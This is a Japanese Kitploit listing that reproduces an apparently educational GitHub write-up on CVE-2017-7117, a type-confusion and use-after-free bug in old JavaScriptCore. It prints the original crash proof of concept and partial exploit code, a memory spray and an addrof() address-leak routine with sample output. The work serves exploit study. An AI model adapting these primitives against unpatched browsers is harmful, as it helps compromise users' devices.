Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2017-7117 — 教育目的のエクスプロイト。CVE-2017-7117、iOS 10.3.4 JavaScriptCoreにおける型混乱(type-confusion)および解放後使用(use-after-free)の脆弱性を対象とし、メモリスプレーイングとアドレス漏洩の手法を実証する。 | Kitploit
ツール/GitHubGitHub/rebelle3/cve-2017-7117
iOSセキュリティメモリフォレンジック脆弱性分析エクスプロイトシェルコードモバイルセキュリティ学習と教育バイナリエクスプロイト
GitHubrebelle3/cve-2017-7117

cve-2017-7117

教育目的のエクスプロイト。CVE-2017-7117、iOS 10.3.4 JavaScriptCoreにおける型混乱(type-confusion)および解放後使用(use-after-free)の脆弱性を対象とし、メモリスプレーイングとアドレス漏洩の手法を実証する。

リポジトリを見る
331年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve-2017-7117

このバグについて

iOS 10.3.4 以前と、Safari 11.0 より前のバージョンで見つかった型混乱(type-confusion)および Use-After-Free(UAF)です。

CVE-2017-7117: mitre.org

オリジナルの Proof of Concept

発見者: @lokihardt、ソース: Google Project Zero

root@kitploit:~
function f() {
  let o = {};
  for (let i in {xx: 0}) { // i は String
    for (i of [0]) { // i は数値になるが、JIT は String として扱う
    }
    print(o[i]); // おっと
  }  
}

f();

上記のコードを実行すると、JSC がクラッシュします。

エクスプロイト

JIT コンパイラが文字列だと誤認するような、大きな配列 arr を作成します。

root@kitploit:~
var arr = new Uint32Array(1 * 1024 * 1024 / 4); // 1mb | 1 要素 == 4 バイト
arr[4] = 0xb0; // メンバ m_hashAndFlags のチェックを通過するため

i への参照が失われた後も、元の配列 arr へのアクセスを維持できるため、基盤となるメモリを読み取ることができます。

既知の値をスプレーすることで、これを見つけ出し、上方に走査して任意のオブジェクトへのポインタを特定できます。

root@kitploit:~
function addrof(obj) {

    // 解放された配列からこの数値を探す
    var locator = 0x1337;

    // 解放されたメモリにロケータをスプレーする
    var sprays = [];
    for (var i = 0; i < 0x1000; ++i) {
        sprays.push(i % 2 == 0 ? locator : obj);
    }

    // ロケータの最初のインスタンスを見つける
    var found = null;
    for(var i = 0; i < arr.length; i++) {
        if(arr[i] == locator) {
            found = i
            break
        }
    }

    // オブジェクトへのポインタはロケータの 3 つ後と 2 つ後のインデックスにある
    return found && [arr[found + 3], arr[found + 2]]

}

値は Uint32Array を介してメモリからアクセスされ、下位ビットが先、上位ビットが後になります。

root@kitploit:~
let target = {
    foo: "bar"
}

let address = addrof(target)
// address: 0x0000ffff8d178e60

describe() を使えば、そのアドレスが有効であることを確認できます。

root@kitploit:~
print(describe(target))
// Object: 0xffff8d178e60 with butterfly (nil) (0xffff9099bba0:[Object, {foo:0}, NonArray, Proto:0xffff909b00a0, Leaf]), ID: 244

セットアップを再現する

現在テスト済み:

  • Ubuntu 20.04.5 LTS ARM64
  • libwebkitgtk バージョン 2.16.0 由来の脆弱な JavaScriptCore(JSC)
    • ビルドアーカイブ: launchpad.net
  • メモリ調査用の LLDB(任意)

iPhone 5、iOS 10.3.4 では(まだ)動作しません。その理由を調べましょう...

次のステップ?

  • 偽のオブジェクトを作成する
  • 任意のメモリを読み書きする
  • iOS 10 を脱獄する?

重要

このリポジトリは、エクスプロイト開発における学習の記録として提供される教育リソースです。この CVE は 7 年以上前にパッチが適用されています。当然ながら、悪意のある目的に使用しないでください。

ツールをダウンロード